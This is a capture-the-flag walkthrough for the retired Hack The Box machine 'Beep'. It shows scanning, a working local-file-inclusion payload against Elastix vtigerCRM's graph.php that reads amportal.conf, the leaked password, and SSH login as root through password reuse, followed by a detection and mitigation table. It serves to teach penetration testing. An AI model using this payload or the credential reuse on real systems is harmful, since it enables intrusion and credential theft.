Beep
Quick facts
Section titled “Quick facts”| Platform | Hack The Box (retired) |
| OS | Linux (old CentOS) — beep |
| Difficulty | Medium |
| Approx. time | ~20 min |
| Chain | Elastix/FreePBX → LFI in graph.php (Exploit-DB 37637) → amportal.conf (AMPDBPASS) → reuse → SSH root |
flowchart TD A["Many open services"] --> B["HTTPS: Elastix (FreePBX + vtigerCRM)"] B -->|LFI in vtigercrm/graph.php| C["Read /etc/amportal.conf"] C -->|AMPDBPASS in clear| D["Reused password"] D -->|SSH as root| E["root (user.txt + root.txt)"]
- Beep exposes a huge number of services, which is overwhelming. The key one: Elastix runs over HTTPS (a VoIP distro with FreePBX and vtigerCRM).
- Elastix 2.x has an LFI in
vtigercrm/graph.php(Exploit-DB 37637). With it we read/etc/amportal.conf, which contains cleartext credentials (AMPDBPASS, etc.). - The machine reuses passwords: that password works to SSH in directly as root. No escalation.
1. Reconnaissance
Section titled “1. Reconnaissance”-
Port scan
What I do:
Ventana de terminal IP=<target_ip>ports=$(sudo nmap -p- --min-rate 5000 -n -Pn $IP | grep '^[0-9]' | cut -d/ -f1 | paste -sd,)sudo nmap -sCV -p$ports $IP -oN nmap/targetedWhat I see: a huge list of services (SSH, SMTP, HTTP/HTTPS, POP3, IMAP, MySQL, Asterisk…).
What I think: too many vectors; it’s easy to get lost. I focus on HTTPS (443), usually the management panel. → Network service enumeration
2. Initial access: Elastix LFI
Section titled “2. Initial access: Elastix LFI”-
Identify Elastix
What I do: I browse to 443 and fuzz directories.
What I see: the site is an Elastix install (FreePBX + vtigerCRM + several panels).
What I think: Elastix 2.x has known vulnerabilities. I search: one of the cleanest is an LFI in vtigerCRM. → Local File Inclusion
-
Exploit the LFI (Exploit-DB 37637)
What I do:
Ventana de terminal curl -k "https://$IP/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action"What I see: the contents of
/etc/amportal.conf, with cleartext credentials:AMPDBPASS=jEhdIekWmdjEAMPMGRPASS=jEhdIekWmdjE...Why it works:
graph.phpuses thecurrent_languageparameter to build a file path without sanitizing it. The../../path traversal climbs to the root and the null byte%00cuts off the extension the app would append, letting us read any file (works due to the old PHP version). → Local File Inclusion and path traversal
3. From credentials to root: reuse
Section titled “3. From credentials to root: reuse”-
Try the password over SSH
What I think: Elastix stores several passwords in
amportal.conf. On poorly maintained boxes, the panel password is reused for the system account. I tryAMPDBPASSas root over SSH. → Credential hunting and reuseWhat I do:
Ventana de terminal ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa root@$IP# AMPDBPASSWhat I see: direct access as
root.user.txt→/home/fanis/user.txt·root.txt→/root/root.txt(redacted).
Progressive hints
Section titled “Progressive hints”There are too many ports. Don’t chase them all: which is the HTTPS management panel?
Identify the product (Elastix). Which known LFI does vtigerCRM have?
With the LFI, read the config file that stores the passwords (amportal.conf).
That password might work in more than one place. Try SSH as root.
Dead ends
Section titled “Dead ends”| What I tried | Result | How I ruled it out |
|---|---|---|
| Chasing every service (SMTP, IMAP, MySQL…) | Noise | The clean vector was the Elastix LFI |
| FreePBX RCE (CVE-2012-4869) | More complex | LFI + reuse gave root with fewer steps |
| Modern SSH without compatibility flags | “no matching key exchange” | You must force the old algorithms |
Methodology takeaways
Section titled “Methodology takeaways”- Many ports → don’t scatter. Prioritize the admin panel (HTTPS) over poking each service.
- Identified product → look up its CVE/LFI. Elastix + vtigerCRM = Exploit-DB 37637 directly.
- LFI → read config files with secrets (
amportal.conf,wp-config.php,config.php,.env). - Password reuse is the norm: a panel’s password often opens SSH. Try it against
rootand other users. - Old services → SSH compatibility flags. Don’t mistake “can’t connect” for “the credential is bad”.
Detection and mitigation
Section titled “Detection and mitigation”| Phase | Detection | Mitigation |
|---|---|---|
| LFI in graph.php | Logs with current_language=../ and %00 |
Update Elastix/vtigerCRM; sanitize paths; modern PHP (no null byte) |
| Reading amportal.conf | Access to config files via the web | Strict permissions; don’t serve sensitive files |
| SSH as root reusing the pass | Root SSH login from an external IP | Don’t reuse passwords; disable root SSH login; keys instead of passwords |
References
Section titled “References”- Exploit-DB 37637 — Elastix 2.2.0 vtigerCRM LFI: https://www.exploit-db.com/exploits/37637
- OWASP — Path Traversal: https://owasp.org/www-community/attacks/Path_Traversal